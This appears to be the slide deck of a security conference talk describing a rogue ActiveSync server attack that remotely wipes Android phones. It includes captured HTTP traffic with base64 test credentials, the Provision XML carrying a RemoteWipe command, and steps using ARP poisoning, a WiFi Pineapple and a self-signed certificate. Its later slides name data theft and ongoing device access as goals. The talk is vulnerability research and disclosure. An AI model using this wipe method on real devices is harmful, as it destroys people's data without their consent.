Exchanging Demands

Peter Hannay

peter@hannay.id.au
The Introduction
Who am I?

• Lecturer
• Researcher
• Hacker
• Pentester
• PhD Candidate
Interests

- Breaking things
- Laser tag
- Cats
The Story

INSPIRATION
The Setting

• Post pentest drinks with client

• ... So if you own the active directory server what exactly can you do?

• The norm, control of every user, ability to push policy updates, etc...

• Exchange can remotely wipe devices, so why not that too?
• Do we really need exchange for that though?

• Maybe we just send the phone those commands directly

• but…
THAT COULDN’T POSSIBLY WORK
• It couldn’t be that easy could it?

• Surely SSL would prevent this if nothing else.

• Maybe it uses some sort of secure exchange, shared secrets, something…
AN EXPERT OPINION

- I had a talk with a Microsoft Exchange admin type person…

- “It should work fine, as long as SSL is disabled”

- Damn.. Well, lets try it out anyway!
TIME TO GET STARTED
Exchange!

• Let’s get some packet dumps of a legit wipe operation

• Exchange can’t be that hard to install right? I’ve done postfix & sendmail before..

• Crap.
Some students I had hanging around
POST /Microsoft-Server-ActiveSync?Cmd=..........&DeviceType=Android HTTP/1.1
Content-Type: application/vnd.ms-sync.wbxml
Authorization: Basic ZnVja2VyeS5mdWNrXGRpcnQ6cGFzc3dvcmQxMjMk
MS-ASProtocolVersion: 12.0
Connection: keep-alive
User-Agent: Android/0.3
X-MS-PolicyKey: 358347207
Content-Length: 13
Host: 192.168.1.218

HTTP/1.1 449 Retry after sending a PROVISION command
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/7.5
MS-Server-ActiveSync: 14.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Tue, 08 May 2012 07:08:22 GMT
Content-Length: 54

The custom error module does not recognize this error.
POST /Microsoft-Server-ActiveSync?Cmd=Provision&User=........&DeviceType=Android HTTP/1.1
Content-Type: application/vnd.ms-sync.wbxml
Authorization: Basic ZnVja2VyeS5mdWNrXGRpcnQ6cGFzc3dvcmQxMjMk
MS-ASProtocolVersion: 12.0
Connection: keep-alive
User-Agent: Android/0.3
X-MS-PolicyKey: 0
Content-Length: 41
Host: 192.168.1.218

..j...EFGH.MS-EAS-Provisioning-WBXML.....HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/vnd.ms-sync.wbxml
Server: Microsoft-IIS/7.5
MS-Server-ActiveSync: 14.0
Date: Tue, 08 May 2012 07:00:04 GMT
Content-Length: 123

..j...EK.1..FGH.MS-EAS-Provisioning-WBXML..K.1..I.2761868790..JMN.0..V.8..X.1..Z.0.......

Packet Sniffing - Wipe
HTTP/1.1 200 OK.
Cache-Control: private.
Content-Type: application/vnd.ms-sync.wbxml
Server: Microsoft-IIS/7.5.
Date: Tue, 08 May 2012 07:00:47 GMT
Content-Length: 123...
<Provision>
  <Status>1</Status>
  <Policies>
    <Policy>
      <PolicyType>MS-EAS-Provisioning-WBXML</PolicyType>
      <Status>1</Status>
      <PolicyKey>2761868790</PolicyKey>
      <Data>
        <EASProvisionDoc>
          <DevicePasswordEnabled>0</DevicePasswordEnabled>
          <AlphanumericDevicePasswordRequired>0</AlphanumericDevicePasswordRequired>
          <PasswordRecoveryEnabled>0</PasswordRecoveryEnabled>
          <DeviceEncryptionEnabled>0</DeviceEncryptionEnabled>
          <AttachmentsEnabled>1</AttachmentsEnabled>
          <MinDevicePasswordLength>4</MinDevicePasswordLength>
          <MaxInactivityTimeDeviceLock>900</MaxInactivityTimeDeviceLock>
          <MaxDevicePasswordFailedAttempts>8</MaxDevicePasswordFailedAttempts>
          <MaxAttachmentSize />
          <AllowSimpleDevicePassword>1</AllowSimpleDevicePassword>
          <DevicePasswordExpiration />
          <DevicePasswordHistory>0</DevicePasswordHistory>
        </EASProvisionDoc>
      </Data>
    </Policy>
  </Policies>
  <RemoteWipe />
</Provision>
The Background
<DevicePasswordEnabled>0</DevicePasswordEnabled>
<AlphanumericDevicePasswordRequired>0</AlphanumericDevicePasswordRequired>
<PasswordRecoveryEnabled>0</PasswordRecoveryEnabled>
<DeviceEncryptionEnabled>0</DeviceEncryptionEnabled>
<AttachmentsEnabled>1</AttachmentsEnabled>
<MinDevicePasswordLength>4</MinDevicePasswordLength>
<MaxInactivityTimeDeviceLock>900</MaxInactivityTimeDeviceLock>
<MaxDevicePasswordFailedAttempts>8</MaxDevicePasswordFailedAttempts>
<MaxAttachmentSize />
<AllowSimpleDevicePassword>1</AllowSimpleDevicePassword>
<DevicePasswordExpiration />
<DevicePasswordHistory>0</DevicePasswordHistory>
</EASProvisionDoc>
• WiFi is cool, phones have WiFi
• ARP Poisoning
• Pineapple
The Dance
LETS WIPE
Step 1: Request

• Accept connection

• Use a shonky self signed SSL cert
Step 2: Provision

• Send HTTP error 449
Step 3: Wipe

- Send policy push containing wipe command
- Celebrate.
• Oh no 😞

• Lets hope this works....
Future Work
Compulsory OSS Project: Protocol Library

• Emulate ActiveSync Protocol
• Allow for projects to interact with mobile clients in new ways
• Translation layer between exchange clients and other servers
• Lots of things!
Lofty Goal: Data Theft

• Wouldn’t it be nice if we could get data back off the phones

• Remote backup functionality

• Sync features

• Hopefully possible!
Lofty Goal: Ongoing Access

• What sort of configuration options can we set?

• Anything undocumented?

• Can we reconfigure the device to point at another server?
Concluding...
Thanks!

- Andrew Kitis
- Rob McKnight
- Randal Adamson
- Sid
- Murray Brand
- Clinton Carpene

- #nodavesclub
- #cduc
- #kiwicon
Thanks for Listening!
ANY QUESTIONS?!